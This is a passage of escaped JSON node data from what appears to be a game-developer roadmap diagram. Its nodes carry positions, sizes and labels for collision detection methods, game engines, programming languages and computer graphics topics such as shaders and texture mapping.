-115.74983529021279,\n        \"y\": 853.340644161757\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vmRYaXNVCe0N73xG8bsEK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 134.06254359282195,\n        \"y\": 671.5601890981626\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Intersection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 134.06254359282195,\n        \"y\": 671.5601890981626\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kSMz7mZ243qMKtT_YD3AD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -22.517250963174092,\n        \"y\": 618.6479448168349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SAT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 79\n      },\n      \"positionAbsolute\": {\n        \"x\": -22.517250963174092,\n        \"y\": 618.6479448168349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lwd3Gz9bJEKCIwhXD6m-v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -22.517250963174092,\n        \"y\": 671.6479448168349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GJK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 79\n      },\n      \"positionAbsolute\": {\n        \"x\": -22.517250963174092,\n        \"y\": 671.6479448168349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vWLKYK2KUzV1fO-vQunzW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -22.517250963174092,\n        \"y\": 724.6479448168348\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"EPA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 79\n      },\n      \"positionAbsolute\": {\n        \"x\": -22.517250963174092,\n        \"y\": 724.6479448168348\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PLR_4yoRifoTzkOR4c7ym\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 327.9857878718208,\n        \"y\": 918.2235652019868\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bounding Volume\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"1yK8TH4Pn7Ag8VQoug54i\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 327.9857878718208,\n        \"y\": 918.2235652019868\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aTeYGd4JlPr5txNPyBezn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 177.11202169501337,\n        \"y\": 918.2235652019866\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AABB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 177.11202169501337,\n        \"y\": 918.2235652019866\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7nGtvbxoEAheiF4IPMfPf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.11202169501337,\n        \"y\": 918.2235652019866\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OBB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.11202169501337,\n        \"y\": 918.2235652019866\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9Fk3XSINBr2NNdbMtwsIK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 327.9857878718208,\n        \"y\": 974.6723516686346\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Spatial Partitioning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 327.9857878718208,\n        \"y\": 974.6723516686346\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"STdvFYM9V0a36IkPXjvrB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 109.27787544845216,\n        \"y\": 974.6723516686346\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sort & Sweep\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 109.27787544845216,\n        \"y\": 974.6723516686346\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FCc5xwb_G3VsDRXOcg3hV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.27787544845216,\n        \"y\": 1027.6723516686347\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"BVH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.27787544845216,\n        \"y\": 1027.6723516686347\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XHFV4d6Ab4kWQ3-XcZTyT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 109.1830419521774,\n        \"y\": 1027.6723516686347\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DBVT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 109.1830419521774,\n        \"y\": 1027.6723516686347\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1yK8TH4Pn7Ag8VQoug54i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.9857878718208,\n        \"y\": 670.9812781501682\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CCD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 328.9857878718208,\n        \"y\": 670.9812781501682\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fv5tivGad2P9GRZOodfn2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -270.90430753953456,\n        \"y\": 516.4583152599474\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Game Engine\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4YgbrXLXf5mfaL2tlYkzk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -270.90430753953456,\n        \"y\": 516.4583152599474\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7OffO2mBmfBKqPBTZ9ngI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.86850729745,\n        \"y\": 616.7966982100413\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Godot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.86850729745,\n        \"y\": 616.7966982100413\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a6H-cZtp3A_fB8jnfMxBR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.86850729745,\n        \"y\": 517.7966982100413\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Unreal Engine\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.86850729745,\n        \"y\": 517.7966982100413\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CeAUEN233L4IoFSZtIvvl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.86850729745,\n        \"y\": 570.7966982100413\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Native\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 42,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 42.029266357421875\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.86850729745,\n        \"y\": 570.7966982100413\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 42\n      }\n    },\n    {\n      \"id\": \"rNeOti8DDyWTMP9FB9kJ_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.86850729745,\n        \"y\": 464.7966982100413\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Unity 3D\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.86850729745,\n        \"y\": 464.7966982100413\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4YgbrXLXf5mfaL2tlYkzk\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -299.40430753953456,\n        \"y\": 718.8829068777812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Programming Languages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -299.40430753953456,\n        \"y\": 718.8829068777812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jsq0UXnIIC0Z_nbK2w48f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -425.84276797402634,\n        \"y\": 718.8829068777814\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"C/C++\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -425.84276797402634,\n        \"y\": 718.8829068777814\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ph3ZqmSnwwzUBUC-6dgf-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.8427679740262,\n        \"y\": 718.8829068777812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"C#\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.8427679740262,\n        \"y\": 718.8829068777812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AaRZiItRcn8fYb5R62vfT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.3608206359495,\n        \"y\": 824.8829068777812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GDScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.3608206359495,\n        \"y\": 824.8829068777812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ts9pWxUimvFqfNJYCmNNw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.8427679740262,\n        \"y\": 771.8829068777812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rust\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.8427679740262,\n        \"y\": 771.8829068777812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AJp_QRLgSG5ETXDIjUjmm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -425.84276797402634,\n        \"y\": 771.8829068777812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -425.84276797402634,\n        \"y\": 771.8829068777812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lIb5MeDoqVj6HycveOgTS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -224.23195037554086,\n        \"y\": 1238.7939445578397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Computer Graphics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CDYszS1U4v95GozB_drbt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -224.23195037554086,\n        \"y\": 1238.7939445578397\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"JW5c_0JEtO-OiBoXUia6A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1078.9347422218125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ray Tracing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1078.9347422218125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vYNj9nzu90e9xlrzHULnP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1131.9347422218125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rasterization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1131.9347422218125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"shSRnMf4NONuZ3TGPAoQc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1184.9347422218125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Graphics Pipeline\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1184.9347422218125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rmtxybcavWV6A53R4ZWgc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1237.9347422218125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sampling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1237.9347422218125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qIrePusMuvcUva9LMDmDx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1293.7939445578397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shader\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1293.7939445578397\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WVgozaQPFbYthZLWMbNUg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1347.7939445578397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rendering Equation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9565121239493,\n        \"y\": 1347.7939445578397\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eI2jym4AAz3ani-lreSKE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -419.9565121239493,\n        \"y\": 1402.7939445578397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reflection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"THMmnx8p_P0X-dSPoHvst\"\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -419.9565121239493,\n        \"y\": 1402.7939445578397\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0g1z5G2dsF4PTIfFAG984\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -416.9565121239493,\n        \"y\": 1475.952242669871\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Diffuse\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -416.9565121239493,\n        \"y\": 1475.952242669871\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"odfZWKtPbb-lC35oeTCNV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -416.9565121239493,\n        \"y\": 1528.7393171338706\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Specular\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -416.9565121239493,\n        \"y\": 1528.7393171338706\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"THMmnx8p_P0X-dSPoHvst\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.5116185559558,\n        \"y\": 1402.7939445578397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.5116185559558,\n        \"y\": 1402.7939445578397\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iBZ1JsEWI0xuLgUvfWfl-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.5116185559558,\n        \"y\": 1475.952242669871\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Texture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.5116185559558,\n        \"y\": 1475.952242669871\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r4UkMd5QURbvJ3Jlr_H9H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.5116185559558,\n        \"y\": 1528.952242669871\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bump\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.5116185559558,\n        \"y\": 1528.952242669871\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YGeGleEN203nokiZIYJN8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 